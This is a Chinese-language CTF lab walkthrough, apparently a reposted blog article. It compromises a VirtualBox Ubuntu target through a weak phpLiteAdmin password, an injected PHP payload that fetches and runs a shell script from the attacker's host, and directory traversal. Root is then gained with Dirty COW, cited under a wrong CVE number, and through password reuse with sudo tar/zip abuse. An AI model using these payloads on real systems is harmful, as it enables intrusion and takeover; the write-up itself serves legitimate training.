本文主要是介绍CTF靶场-目录遍历getshell+内核溢出提权/密码复用提权,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
实验环境
攻击者:Kali Linux(192.168.0.19)
靶机:Oracle VM VirtualBox 6.1.10——Ubuntu(64-bit)(192.168.0.249)
实验流程
- 端口扫描
- 目录扫描
其中/dbadmin/疑似网站数据库后台管理页面
- 访问url:http://192.168.0.249/dbadmin
- 弱口令:admin
- 该web程序为phpliteadmin v1.9.3,存在远程代码执行漏洞,没有溢出代码,但是有一个利用文档中包含了对于该web应用程序getshell的流程,其中上传的PHP脚本文件需要进行访问才能生效。
- 漏洞探测
通过对该网站进行漏洞扫描发现该网站存在目录遍历漏洞
- 目录遍历漏洞验证
- 结合phpliteadmin的代码执行漏洞和目录遍历漏洞getshell
输入数据库名称,点击create创建数据库——hack.php
点击新创建的数据库,输入数据表名称和数据表中的字段数量,点击go,创建数据表
输入字段名、字段类型,点击create创建字段,注意字段类型选择text。
准备好要上传到服务器上面的文件
利用python创建HTTP服务,将root用户的家目录作为网站的根目录
点击新创建的数据库,选中新创建的数据表,点击insert插入数据。<?php system("wget http://192.168.0.19:8000/shell.php -O /tmp/shell.php; chmod +x /tmp/shell.php; php /tmp/shell.php;"); ?>
攻击机监听端口
利用目录遍历漏洞访问该文件反弹shell:http://192.168.0.249/view.php?page=…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/usr/databases/hack.php
- 获取当前权限:www-data是Linux操作系统中运行web服务的默认用户(权限较低)
- 获取操作系统内发行版本(Ubuntu 12.04.5 LTS)和内核版本(3.2.0-23-generic)
判断是否存在代码溢出漏洞,有溢出代码
- 利用脏牛提权(cve-2016-5159)
将提权文件上传到靶机
溢出代码下地址:https://github.com/FireFart/dirtycow
访问对应的数据库文件
优化shell
编译并执行溢出代码
赋予执行权限
执行溢出代码
切换用户
- 获取flag
- 利用密码复用进行提权
因为需要涉及到切换用户的问题同样需要利用python优化shell
利用获取到的低权限用户在系统中搜寻敏感信息,寻找一些可能存储了密码的敏感文件或者网站的配置文件等,一定要查看系统用户的家目录。
通过查看网站的配置文件拿到数据库用户zico的登录密码
尝试使用该密码切换到zico用户,成功
查看当前用户权限,普通系统用户。
查看当前用户使用sudo命令时的权限
当前用户在使用tar命令和zip命令时拥有root用户的权限,并且不需要验证密码
利用zip提权
首先创建一个空文件
提权成功
同样可以利用tar命令进行提权
sudo -u root tar cf /dev/null exp -checkpoint=1 --checkpoint-action="/bin/bash"
这篇关于CTF靶场-目录遍历getshell+内核溢出提权/密码复用提权的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!